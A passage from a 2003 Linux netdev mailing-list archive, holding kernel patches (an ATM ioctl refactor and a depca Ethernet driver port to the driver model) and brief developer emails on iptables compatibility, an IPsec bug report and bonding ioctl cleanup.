1; + if (copy_to_user(buf, dev->type, size)) { + error = -EFAULT; + goto done; + } + break; + case ATM_GETESI: + size = ESI_LEN; + if (copy_to_user(buf, dev->esi, size)) { + error = -EFAULT; + goto done; + } + break; + case ATM_SETESI: + { + int i; + + for (i = 0; i < ESI_LEN; i++) + if (dev->esi[i]) { + error = -EEXIST; + goto done; + } + } + /* fall through */ + case ATM_SETESIF: + { + unsigned char esi[ESI_LEN]; + + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (copy_from_user(esi, buf, ESI_LEN)) { + error = -EFAULT; + goto done; + } + memcpy(dev->esi, esi, ESI_LEN); + error = ESI_LEN; + goto done; + } + case ATM_GETSTATZ: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + /* fall through */ + case ATM_GETSTAT: + size = sizeof(struct atm_dev_stats); + error = fetch_stats(dev, buf, cmd == ATM_GETSTATZ); + if (error) + goto done; + break; + case ATM_GETCIRANGE: + size = sizeof(struct atm_cirange); + if (copy_to_user(buf, &dev->ci_range, size)) { + error = -EFAULT; + goto done; + } + break; + case ATM_GETLINKRATE: + size = sizeof(int); + if (copy_to_user(buf, &dev->link_rate, size)) { + error = -EFAULT; + goto done; + } + break; + case ATM_RSTADDR: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + atm_reset_addr(dev); + break; + case ATM_ADDADDR: + case ATM_DELADDR: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + { + struct sockaddr_atmsvc addr; + + if (copy_from_user(&addr, buf, sizeof(addr))) { + error = -EFAULT; + goto done; + } + if (cmd == ATM_ADDADDR) + error = atm_add_addr(dev, &addr); + else + error = atm_del_addr(dev, &addr); + goto done; + } + case ATM_GETADDR: + error = atm_get_addr(dev, buf, len); + if (error < 0) + goto done; + size = error; + /* may return 0, but later on size == 0 means "don't + write the length" */ + error = put_user(size, &((struct atmif_sioc *) arg)->length) + ? -EFAULT : 0; + goto done; + case ATM_SETLOOP: + if (__ATM_LM_XTRMT((int) (long) buf) && + __ATM_LM_XTLOC((int) (long) buf) > + __ATM_LM_XTRMT((int) (long) buf)) { + error = -EINVAL; + goto done; + } + /* fall through */ + case ATM_SETCIRANGE: + case SONET_GETSTATZ: + case SONET_SETDIAG: + case SONET_CLRDIAG: + case SONET_SETFRAMING: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + /* fall through */ + default: + if (!dev->ops->ioctl) { + error = -EINVAL; + goto done; + } + size = dev->ops->ioctl(dev, cmd, buf); + if (size < 0) { + error = (size == -ENOIOCTLCMD ? -EINVAL : size); + goto done; + } + } + + if (size) + error = put_user(size, &((struct atmif_sioc *) arg)->length) + ? -EFAULT : 0; + else + error = 0; +done: + atm_dev_release(dev); + return error; +} + /* Handler for sk->destruct, invoked by sk_free() */ diff -Nru a/net/atm/resources.h b/net/atm/resources.h --- a/net/atm/resources.h Mon Sep 15 16:16:26 2003 +++ b/net/atm/resources.h Mon Sep 15 16:16:26 2003 @@ -16,6 +16,7 @@ struct sock *alloc_atm_vcc_sk(int family); void free_atm_vcc_sk(struct sock *sk); +int atm_dev_ioctl(unsigned int cmd, unsigned long arg); #ifdef CONFIG_PROC_FS diff -Nru a/net/atm/svc.c b/net/atm/svc.c --- a/net/atm/svc.c Mon Sep 15 16:16:26 2003 +++ b/net/atm/svc.c Mon Sep 15 16:16:26 2003 @@ -392,24 +392,24 @@ static struct proto_ops SOCKOPS_WRAPPED(svc_proto_ops) = { - family: PF_ATMSVC, + .family = PF_ATMSVC, - release: svc_release, - bind: svc_bind, - connect: svc_connect, - socketpair: sock_no_socketpair, - accept: svc_accept, - getname: svc_getname, - poll: atm_poll, - ioctl: atm_ioctl, - listen: svc_listen, - shutdown: svc_shutdown, - setsockopt: svc_setsockopt, - getsockopt: svc_getsockopt, - sendmsg: atm_sendmsg, - recvmsg: atm_recvmsg, - mmap: sock_no_mmap, - sendpage: sock_no_sendpage, + .release = svc_release, + .bind = svc_bind, + .connect = svc_connect, + .socketpair = sock_no_socketpair, + .accept = svc_accept, + .getname = svc_getname, + .poll = atm_poll, + .ioctl = vcc_ioctl, + .listen = svc_listen, + .shutdown = svc_shutdown, + .setsockopt = svc_setsockopt, + .getsockopt = svc_getsockopt, + .sendmsg = atm_sendmsg, + .recvmsg = atm_recvmsg, + .mmap = sock_no_mmap, + .sendpage = sock_no_sendpage, }; From bdschuym@pandora.be Tue Sep 16 09:39:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 09:39:29 -0700 (PDT) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GGd9Ya031848 for ; Tue, 16 Sep 2003 09:39:10 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id E474B3852A; Tue, 16 Sep 2003 17:57:55 +0200 (MEST) Received: from 192.168.123.138 (D5762BF3.kabel.telenet.be [213.118.43.243]) by adicia.telenet-ops.be (Postfix) with ESMTP id 5862F38E80; Tue, 16 Sep 2003 17:57:47 +0200 (MEST) From: Bart De Schuymer To: Tom Marshall , Harald Welte , "David S. Miller" , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Date: Tue, 16 Sep 2003 17:57:50 +0200 User-Agent: KMail/1.5 References: <200309022116.41697.bdschuym@pandora.be> <20030916140621.GE810@obroa-skai.de.gnumonks.org> <20030916151533.GA28380@home.tig-grr.com> In-Reply-To: <20030916151533.GA28380@home.tig-grr.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309161757.50682.bdschuym@pandora.be> X-archive-position: 5972 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Tuesday 16 September 2003 17:15, Tom Marshall wrote: > > But ipt_physdev is a 2.6ism, thus we can still introduce any > > incompatibility... For me it's enough to be compatible within 2.4 or > > within 2.6.x (once 2.6.0 is out). > > Noooo! Please don't break compatibility for 2.6. I really don't want to > have separate /sbin/iptables-2.4 and /sbin/iptables-2.6 binaries. 2.4 hasn't got ipt_physdev From akpm@osdl.org Tue Sep 16 09:47:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 09:47:55 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GGlpYa032445 for ; Tue, 16 Sep 2003 09:47:51 -0700 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h8GGljo24924 for ; Tue, 16 Sep 2003 09:47:45 -0700 Date: Tue, 16 Sep 2003 09:48:24 -0700 From: Andrew Morton To: netdev@oss.sgi.com Subject: Fw: [Bugme-new] [Bug 1243] New: Communication with ipsec api seems to hang after some operation Message-Id: <20030916094824.4a18c21c.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5973 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Tue, 16 Sep 2003 03:54:55 -0700 From: bugme-daemon@osdl.org To: bugme-new@lists.osdl.org Subject: [Bugme-new] [Bug 1243] New: Communication with ipsec api seems to hang after some operation http://bugme.osdl.org/show_bug.cgi?id=1243 Summary: Communication with ipsec api seems to hang after some operation Kernel Version: 2.6.0-test5 Status: NEW Severity: normal Owner: bugme-janitors@lists.osdl.org Submitter: uwe.schmeling@t-online.de Distribution: SuSe 8.2 Hardware Environment: ASUS P2B-D/ 2xPIII 800/ 1GB Ram Software Environment: ipsec-tools-0.2.2 Problem Description: after a couple of operating hours (SA insert SA delete) communication with PFKEY interface seems to hang (setkey -D doesn't respond while performing send to PFKEY interface) Steps to reproduce: Setup a VPN environment on the above environment using ESP4 tunnels ------- You are receiving this mail because: ------- You are on the CC list for the bug, or are watching someone who is. From fubar@us.ibm.com Tue Sep 16 11:27:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 11:27:51 -0700 (PDT) Received: from over.ny.us.ibm.com (over.ny.us.ibm.com [32.97.182.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GIRFYa003152 for ; Tue, 16 Sep 2003 11:27:42 -0700 Received: from e4.ny.us.ibm.com (e4.esmtp.ibm.com [9.14.6.104]) by pokfb.esmtp.ibm.com (8.12.9/8.12.9) with ESMTP id h8GHkB3k114396 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Tue, 16 Sep 2003 13:46:11 -0400 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8GHZKRu514590; Tue, 16 Sep 2003 13:35:20 -0400 Received: from death.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8GHZGfd166566; Tue, 16 Sep 2003 13:35:18 -0400 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8GHXdTJ013890; Tue, 16 Sep 2003 10:33:41 -0700 Message-Id: <200309161733.h8GHXdTJ013890@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: shmulik.hen@intel.com cc: "David S. Miller" , rddunlap@osdl.org, netdev@oss.sgi.com, janitor@sternwelten.at Subject: Re: Fw: [Kernel-janitors] old ioctl definitions in 2.5 In-Reply-To: Message from Shmulik Hen of "Tue, 16 Sep 2003 16:31:48 +0300." <200309161631.48653.shmulik.hen@intel.com> Date: Tue, 16 Sep 2003 10:33:39 -0700 From: Jay Vosburgh X-archive-position: 5974 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev >On Tuesday 16 September 2003 04:11 am, Jay Vosburgh wrote: >> >On Mon, 15 Sep 2003 16:57:26 -0700 >> > >> >Jay Vosburgh wrote: >> >> My only concern is a matter of timing; we're right at the >> >> end of synchronizing the 2.4 and 2.6 bonding sources. Once >> >> that's settled (hopefully in a few days, the last patch set for >> >> 2.4 came in this morning), then removing them from that header >> >> and the bonding code should be fine. >> > >> >No problem. Just push the change to Jeff then after you're >> >done merging stuff around, ok? >> >> Will do. > >I'm on the verge of finishing my cleanup set re-do. Now that Amir sent >all the synching stuff, I could put that one in as well, and it would >fit on both 2.4 and 2.6. I was going to add it on to the end of the clean up set, but if you want to do it, go ahead. Nobody seems to have objected to removing the _OLD stuff, which I view as a good thing. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From maz@misterjones.org Tue Sep 16 12:13:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 12:14:11 -0700 (PDT) Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GJDjYa004653 for ; Tue, 16 Sep 2003 12:13:47 -0700 Received: from hina.wild-wind.fr.eu.org ([192.168.70.139]) by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian)) id 19zLHO-0000Br-00; Tue, 16 Sep 2003 21:14:26 +0200 Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian)) id 19zLF2-0004Ox-00; Tue, 16 Sep 2003 21:12:00 +0200 To: Jeff Garzik Cc: Andrew Morton , Subject: [PATCH][2.6] depca update Organization: Metropolis -- Nowhere X-Attribution: maz Reply-to: mzyngier@freesurf.fr From: Marc Zyngier Date: Tue, 16 Sep 2003 21:12:00 +0200 Message-ID: Lines: 24 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-archive-position: 5975 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mzyngier@freesurf.fr Precedence: bulk X-list: netdev --=-=-= Jeff, Andrew, I finally found some time to hack the depca driver, in basically the same way I did with the de4x5 driver. The patch is quite big (shuffles a lot of code around, removes lots of global variables), mainly in order to use the driver model on every bus supported by this driver. I also removed the probing from Space.c, so the usual warning about device renumbering applies. Tested on alpha (DE422, EISA) and i386 (two DE201, ISA), built-in and modular. The MCA part is completly untested, since I lack the hardware (no, I do not own every single piece of junk hardware out there... ;-). Thanks, M. --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=depca.patch --- ../vanilla/linux-2.5/drivers/net/depca.c 2003-05-12 06:53:34.000000000 +0200 +++ linux-2.5/drivers/net/depca.c 2003-09-16 20:40:18.000000000 +0200 @@ -1,4 +1,4 @@ -/* depca.c: A DIGITAL DEPCA & EtherWORKS ethernet driver for linux. +/* depca.c: A DIGITAL DEPCA & EtherWORKS ethernet driver for linux. Written 1994, 1995 by David C. Davies. @@ -253,7 +253,8 @@ #include #include #include -#include +#include +#include #include #include @@ -265,7 +266,6 @@ #endif #ifdef CONFIG_EISA -#include #include #endif @@ -305,21 +305,21 @@ ** EISA bus defines */ #define DEPCA_EISA_IO_PORTS 0x0c00 /* I/O port base address, slot 0 */ -#define MAX_EISA_SLOTS 16 -#define EISA_SLOT_INC 0x1000 /* ** ISA Bus defines */ #define DEPCA_RAM_BASE_ADDRESSES {0xc0000,0xd0000,0xe0000,0x00000} -#define DEPCA_IO_PORTS {0x300, 0x200, 0} #define DEPCA_TOTAL_SIZE 0x10 -static short mem_chkd; -/* -** Adapter ID for the MCA EtherWORKS DE210/212 adapter -*/ -#define DE212_ID 0x6def +static struct { + u_long iobase; + struct platform_device *device; +} depca_io_ports[] = { + { 0x300, NULL }, + { 0x200, NULL }, + { 0 , NULL }, +}; /* ** Name <-> Adapter mapping @@ -330,34 +330,86 @@ "DE210","DE212",\ "DE422",\ ""} -static enum { + +static char* __initdata depca_signature[] = DEPCA_SIGNATURE; + +enum depca_type { DEPCA, de100, de101, de200, de201, de202, de210, de212, de422, unknown -} adapter; +}; + +static char depca_string[] = "depca"; + +static int depca_device_remove (struct device *device); #ifdef CONFIG_EISA struct eisa_device_id depca_eisa_ids[] = { - { "DEC4220" }, + { "DEC4220", de422 }, { "" } }; static int depca_eisa_probe (struct device *device); -static int depca_eisa_remove (struct device *device); struct eisa_driver depca_eisa_driver = { .id_table = depca_eisa_ids, .driver = { - .name = "depca", + .name = depca_string, .probe = depca_eisa_probe, - .remove = __devexit_p (depca_eisa_remove) + .remove = __devexit_p (depca_device_remove) } }; #endif +#ifdef CONFIG_MCA +/* +** Adapter ID for the MCA EtherWORKS DE210/212 adapter +*/ +#define DE210_ID 0x628d +#define DE212_ID 0x6def + +static short depca_mca_adapter_ids[] = { + DE210_ID, + DE212_ID, + 0x0000 +}; + +static char *depca_mca_adapter_name[] = { + "DEC EtherWORKS MC Adapter (DE210)", + "DEC EtherWORKS MC Adapter (DE212)", + NULL +}; + +static enum depca_type depca_mca_adapter_type[] = { + de210, + de212, + 0 +}; + +static int depca_mca_probe (struct device *); + +static struct mca_driver depca_mca_driver = { + .id_table = depca_mca_adapter_ids, + .driver = { + .name = depca_string, + .bus = &mca_bus_type, + .probe = depca_mca_probe, + .remove = __devexit_p(depca_device_remove), + }, +}; +#endif + +static int depca_isa_probe (struct device *); + +static struct device_driver depca_isa_driver = { + .name = depca_string, + .bus = &platform_bus_type, + .probe = depca_isa_probe, + .remove = __devexit_p(depca_device_remove), +}; + /* ** Miscellaneous info... */ #define DEPCA_STRLEN 16 -#define MAX_NUM_DEPCAS 2 /* ** Memory Alignment. Each descriptor is 4 longwords long. To force a @@ -402,10 +454,13 @@ #define DEPCA_PKT_BIN_SZ 128 /* Should be >=100 unless you increase DEPCA_PKT_STAT_SZ */ struct depca_private { - char devname[DEPCA_STRLEN]; /* Device Product String */ char adapter_name[DEPCA_STRLEN]; /* /proc/ioports string */ - char adapter; /* Adapter type */ - char mca_slot; /* MCA slot, if MCA else -1 */ + enum depca_type adapter; /* Adapter type */ + enum { + DEPCA_BUS_MCA = 1, + DEPCA_BUS_ISA, + DEPCA_BUS_EISA, + } depca_bus; /* type of bus */ struct depca_init init_block; /* Shadow Initialization block */ /* CPU address space fields */ struct depca_rx_desc *rx_ring; /* Pointer to start of RX descriptor ring */ @@ -467,45 +522,39 @@ /* ** Private functions */ -static int depca_hw_init(struct net_device *dev, u_long ioaddr, int mca_slot); static void depca_init_ring(struct net_device *dev); static int depca_rx(struct net_device *dev); static int depca_tx(struct net_device *dev); static void LoadCSRs(struct net_device *dev); static int InitRestartDepca(struct net_device *dev); -static void DepcaSignature(char *name, u_long paddr); +static int DepcaSignature(char *name, u_long paddr); static int DevicePresent(u_long ioaddr); static int get_hw_addr(struct net_device *dev); static void SetMulticastFilter(struct net_device *dev); -static void isa_probe(struct net_device *dev, u_long iobase); -#ifdef CONFIG_MCA -static void mca_probe(struct net_device *dev, u_long iobase); -#endif -static struct net_device *alloc_device(struct net_device *dev, u_long iobase); -static int depca_dev_index(char *s); -static struct net_device *insert_device(struct net_device *dev, u_long iobase, int (*init) (struct net_device *)); static int load_packet(struct net_device *dev, struct sk_buff *skb); static void depca_dbg_open(struct net_device *dev); -#ifdef MODULE -static int autoprobed = 1, loading_module = 1; -# else static u_char de1xx_irq[] __initdata = { 2, 3, 4, 5, 7, 9, 0 }; static u_char de2xx_irq[] __initdata = { 5, 9, 10, 11, 15, 0 }; static u_char de422_irq[] __initdata = { 5, 9, 10, 11, 0 }; static u_char *depca_irq; -static int autoprobed, loading_module; -#endif /* MODULE */ -static char name[DEPCA_STRLEN]; -static int num_depcas, num_eth; +static int irq; +static int io; +static char *adapter_name; static int mem; /* For loadable module assignment use insmod mem=0x????? .... */ -static char *adapter_name; /* = '\0'; If no PROM when loadable module - use insmod adapter_name=DE??? ... - bss initializes this to zero - */ +module_param (irq, int, 0); +module_param (io, int, 0); +module_param (adapter_name, charp, 0); +module_param (mem, int, 0); +MODULE_PARM_DESC(irq, "DEPCA IRQ number"); +MODULE_PARM_DESC(io, "DEPCA I/O base address"); +MODULE_PARM_DESC(adapter_name, "DEPCA adapter name"); +MODULE_PARM_DESC(mem, "DEPCA shared memory address"); +MODULE_LICENSE("GPL"); + /* ** Miscellaneous defines... */ @@ -513,52 +562,30 @@ outw(CSR0, DEPCA_ADDR);\ outw(STOP, DEPCA_DATA) -int __init depca_probe(struct net_device *dev) -{ - int tmp = num_depcas, status = -ENODEV; - u_long iobase = dev->base_addr; - - SET_MODULE_OWNER(dev); - - if ((iobase == 0) && loading_module) { - printk("Autoprobing is not supported when loading a module based driver.\n"); - status = -EIO; - } else { -#ifdef CONFIG_MCA - mca_probe(dev, iobase); -#endif - isa_probe(dev, iobase); -#ifdef CONFIG_EISA - eisa_driver_register (&depca_eisa_driver); -#endif - - if ((tmp == num_depcas) && (iobase != 0) && loading_module) { - printk("%s: depca_probe() cannot find device at 0x%04lx.\n", dev->name, iobase); - } - - /* - ** Walk the device list to check that at least one device - ** initialised OK - */ - for (; (dev->priv == NULL) && (dev->next != NULL); dev = dev->next); - - if (dev->priv) - status = 0; - if (iobase == 0) - autoprobed = 1; - } - - return status; -} - -static int __init depca_hw_init(struct net_device *dev, u_long ioaddr, int mca_slot) +static int __init depca_hw_init (struct net_device *dev, struct device *device) { struct depca_private *lp; int i, j, offset, netRAM, mem_len, status = 0; s16 nicsr; - u_long mem_start = 0, mem_base[] = DEPCA_RAM_BASE_ADDRESSES; - int is_eisa = ((ioaddr & 0x0fff) == DEPCA_EISA_IO_PORTS); + u_long ioaddr; + u_long mem_start; + + /* + * We are now supposed to enter this function with the + * following fields filled with proper values : + * + * dev->base_addr + * lp->mem_start + * lp->depca_bus + * lp->adapter + * + * dev->irq can be set if known from device configuration (on + * MCA or EISA) or module option. Otherwise, it will be auto + * detected. + */ + ioaddr = dev->base_addr; + STOP_DEPCA; nicsr = inb(DEPCA_NICSR); @@ -569,24 +596,34 @@ return -ENXIO; } - do { - strcpy(name, (adapter_name ? adapter_name : "")); - mem_start = (mem ? mem & 0xf0000 : mem_base[mem_chkd++]); - DepcaSignature(name, mem_start); - } while (!mem && mem_base[mem_chkd] && (adapter == unknown)); + lp = (struct depca_private *) dev->priv; + mem_start = lp->mem_start; - if ((adapter == unknown) || !mem_start) { /* DEPCA device not found */ + if (!mem_start || lp->adapter < DEPCA || lp->adapter >=unknown) return -ENXIO; - } - dev->base_addr = ioaddr; + printk ("%s: %s at 0x%04lx", + device->bus_id, depca_signature[lp->adapter], ioaddr); + + switch (lp->depca_bus) { +#ifdef CONFIG_MCA + case DEPCA_BUS_MCA: + printk(" (MCA slot %d)", to_mca_device(device)->slot + 1); + break; +#endif + +#ifdef CONFIG_EISA + case DEPCA_BUS_EISA: + printk(" (EISA slot %d)", to_eisa_device(device)->slot); + break; +#endif - if (mca_slot != -1) { - printk("%s: %s at 0x%04lx (MCA slot %d)", dev->name, name, ioaddr, mca_slot); - } else if (is_eisa) { /* EISA slot address */ - printk("%s: %s at 0x%04lx (EISA slot %d)", dev->name, name, ioaddr, (int) ((ioaddr >> 12) & 0x0f)); - } else { /* ISA port address */ - printk("%s: %s at 0x%04lx", dev->name, name, ioaddr); + case DEPCA_BUS_ISA: + break; + + default: + printk("Unknown DEPCA bus %d\n", lp->depca_bus); + return -ENXIO; } printk(", h/w address "); @@ -601,18 +638,20 @@ printk("%2.2x", dev->dev_addr[i]); /* Set up the maximum amount of network RAM(kB) */ - netRAM = ((adapter != DEPCA) ? 64 : 48); - if ((nicsr & _128KB) && (adapter == de422)) + netRAM = ((lp->adapter != DEPCA) ? 64 : 48); + if ((nicsr & _128KB) && (lp->adapter == de422)) netRAM = 128; - offset = 0x0000; /* Shared Memory Base Address */ if (nicsr & BUF) { - offset = 0x8000; /* 32kbyte RAM offset */ nicsr &= ~BS; /* DEPCA RAM in top 32k */ netRAM -= 32; + + /* Only EISA/ISA needs start address to be re-computed */ + if (lp->depca_bus != DEPCA_BUS_MCA) + mem_start += 0x8000; } - mem_start += offset; /* (E)ISA start address */ + if ((mem_len = (NUM_RX_DESC * (sizeof(struct depca_rx_desc) + RX_BUFF_SZ) + NUM_TX_DESC * (sizeof(struct depca_tx_desc) + TX_BUFF_SZ) + sizeof(struct depca_init))) > (netRAM << 10)) { printk(",\n requests %dkB RAM: only %dkB is available!\n", (mem_len >> 10), netRAM); @@ -622,23 +661,14 @@ printk(",\n has %dkB RAM at 0x%.5lx", netRAM, mem_start); /* Enable the shadow RAM. */ - if (adapter != DEPCA) { + if (lp->adapter != DEPCA) { nicsr |= SHE; outb(nicsr, DEPCA_NICSR); } - /* Define the device private memory */ - if (!is_eisa) { - dev->priv = (void *) kmalloc(sizeof(struct depca_private), GFP_KERNEL); - if (dev->priv == NULL) - return -ENOMEM; - } - lp = (struct depca_private *) dev->priv; - memset((char *) dev->priv, 0, sizeof(struct depca_private)); - lp->adapter = adapter; - lp->mca_slot = mca_slot; lp->lock = SPIN_LOCK_UNLOCKED; - sprintf(lp->adapter_name, "%s (%s)", name, dev->name); + sprintf(lp->adapter_name, "%s (%s)", + depca_signature[lp->adapter], device->bus_id); status = -EBUSY; /* Initialisation Block */ @@ -702,7 +732,6 @@ /* To auto-IRQ we enable the initialization-done and DMA err, interrupts. For now we will always get a DMA error. */ if (dev->irq < 2) { -#ifndef MODULE unsigned char irqnum; unsigned long irq_mask, delay; @@ -725,6 +754,9 @@ case de422: depca_irq = de422_irq; break; + + default: + break; /* Not reached */ } /* Trigger an initialization just for the interrupt. */ @@ -733,6 +765,7 @@ delay = jiffies + HZ/50; while (time_before(jiffies, delay)) yield(); + irqnum = probe_irq_off(irq_mask); status = -ENXIO; @@ -746,13 +779,11 @@ printk(" and uses IRQ%d.\n", dev->irq); } - status = -ENXIO; if (!dev->irq) { printk(" but incorrect IRQ line detected.\n"); - goto out_priv; + return -ENXIO; } } -#endif /* MODULE */ } else { printk(" and assigned IRQ%d.\n", dev->irq); } @@ -773,17 +804,14 @@ dev->mem_start = 0; - /* Fill in the generic field of the device structure. */ - if (!is_eisa) - ether_setup(dev); + device->driver_data = dev; + SET_NETDEV_DEV (dev, device); + + register_netdev (dev); return 0; - out_priv: - if (!is_eisa) { - kfree(dev->priv); - dev->priv = NULL; - } else { - unregister_netdev (dev); - } + + out_priv: + return status; } @@ -1284,215 +1312,265 @@ return; } +static int __init depca_common_init (u_long ioaddr, struct net_device **devp) +{ + int status = 0; + + if (!request_region (ioaddr, DEPCA_TOTAL_SIZE, depca_string)) { + status = -EBUSY; + goto out; + } + + if (DevicePresent(ioaddr)) { + status = -ENODEV; + goto out_release; + } + + if (!(*devp = alloc_etherdev (sizeof (struct depca_private)))) { + status = -ENOMEM; + goto out_release; + } + + return 0; + + out_release: + release_region (ioaddr, DEPCA_TOTAL_SIZE); + out: + return status; +} + #ifdef CONFIG_MCA /* ** Microchannel bus I/O device probe */ -static void __init mca_probe(struct net_device *dev, u_long ioaddr) +static int __init depca_mca_probe(struct device *device) { unsigned char pos[2]; unsigned char where; - unsigned long iobase; - int irq; - int slot = 0; + unsigned long iobase, mem_start; + int irq, err; + struct mca_device *mdev = to_mca_device (device); + struct net_device *dev; + struct depca_private *lp; /* - ** See if we've been here before. - */ - if ((!ioaddr && autoprobed) || (ioaddr && !loading_module)) - return; - - if (MCA_bus) { - /* - ** Search for the adapter. If an address has been given, search - ** specifically for the card at that address. Otherwise find the - ** first card in the system. - */ - while ((dev != NULL) && ((slot = mca_find_adapter(DE212_ID, slot)) != MCA_NOTFOUND)) { - pos[0] = mca_read_stored_pos(slot, 2); - pos[1] = mca_read_stored_pos(slot, 3); - - /* - ** IO of card is handled by bits 1 and 2 of pos0. - ** - ** bit2 bit1 IO - ** 0 0 0x2c00 - ** 0 1 0x2c10 - ** 1 0 0x2c20 - ** 1 1 0x2c30 - */ - where = (pos[0] & 6) >> 1; - iobase = 0x2c00 + (0x10 * where); - - if ((ioaddr) && (ioaddr != iobase)) { - /* - ** Card was found, but not at the right IO location. Continue - ** scanning from the next MCA slot up for another card. - */ - slot++; - continue; - } - - /* - ** Found the adapter we were looking for. Now start setting it up. - ** - ** First work on decoding the IRQ. It's stored in the lower 4 bits - ** of pos1. Bits are as follows (from the ADF file): - ** - ** Bits - ** 3 2 1 0 IRQ - ** -------------------- - ** 0 0 1 0 5 - ** 0 0 0 1 9 - ** 0 1 0 0 10 - ** 1 0 0 0 11 - * */ - where = pos[1] & 0x0f; - switch (where) { - case 1: - irq = 9; - break; - case 2: - irq = 5; - break; - case 4: - irq = 10; - break; - case 8: - irq = 11; - break; - default: - printk("%s: mca_probe IRQ error. You should never get here (%d).\n", dev->name, where); - return; - } - - /* - ** Shared memory address of adapter is stored in bits 3-5 of pos0. - ** They are mapped as follows: - ** - ** Bit - ** 5 4 3 Memory Addresses - ** 0 0 0 C0000-CFFFF (64K) - ** 1 0 0 C8000-CFFFF (32K) - ** 0 0 1 D0000-DFFFF (64K) - ** 1 0 1 D8000-DFFFF (32K) - ** 0 1 0 E0000-EFFFF (64K) - ** 1 1 0 E8000-EFFFF (32K) - */ - where = (pos[0] & 0x18) >> 3; - mem = 0xc0000 + (where * 0x10000); - if (pos[0] & 0x20) { - mem += 0x8000; - } + ** Search for the adapter. If an address has been given, search + ** specifically for the card at that address. Otherwise find the + ** first card in the system. + */ + + pos[0] = mca_device_read_stored_pos(mdev, 2); + pos[1] = mca_device_read_stored_pos(mdev, 3); - /* - ** Get everything allocated and initialized... (almost just - ** like the ISA and EISA probes) - */ - if (!request_region (iobase, DEPCA_TOTAL_SIZE, "depca")) { - if (autoprobed) - printk(KERN_WARNING "%s: region already allocated at 0x%04lx.\n", dev->name, iobase); - goto next; - } - if (DevicePresent(iobase) != 0) { - /* - ** If the MCA configuration says the card should be here, - ** it really should be here. - */ - printk(KERN_ERR "%s: MCA reports card at 0x%lx but it is not responding.\n", dev->name, iobase); - goto release_next; - } + /* + ** IO of card is handled by bits 1 and 2 of pos0. + ** + ** bit2 bit1 IO + ** 0 0 0x2c00 + ** 0 1 0x2c10 + ** 1 0 0x2c20 + ** 1 1 0x2c30 + */ + where = (pos[0] & 6) >> 1; + iobase = 0x2c00 + (0x10 * where); - if (!(dev = alloc_device(dev, iobase))) - goto release_next; + /* + ** Found the adapter we were looking for. Now start setting it up. + ** + ** First work on decoding the IRQ. It's stored in the lower 4 bits + ** of pos1. Bits are as follows (from the ADF file): + ** + ** Bits + ** 3 2 1 0 IRQ + ** -------------------- + ** 0 0 1 0 5 + ** 0 0 0 1 9 + ** 0 1 0 0 10 + ** 1 0 0 0 11 + */ + where = pos[1] & 0x0f; + switch (where) { + case 1: + irq = 9; + break; + case 2: + irq = 5; + break; + case 4: + irq = 10; + break; + case 8: + irq = 11; + break; + default: + printk("%s: mca_probe IRQ error. You should never get here (%d).\n", dev->name, where); + return -EINVAL; + } - num_eth++; - dev->irq = irq; - if (depca_hw_init(dev, iobase, slot)) - goto release_next; + /* + ** Shared memory address of adapter is stored in bits 3-5 of pos0. + ** They are mapped as follows: + ** + ** Bit + ** 5 4 3 Memory Addresses + 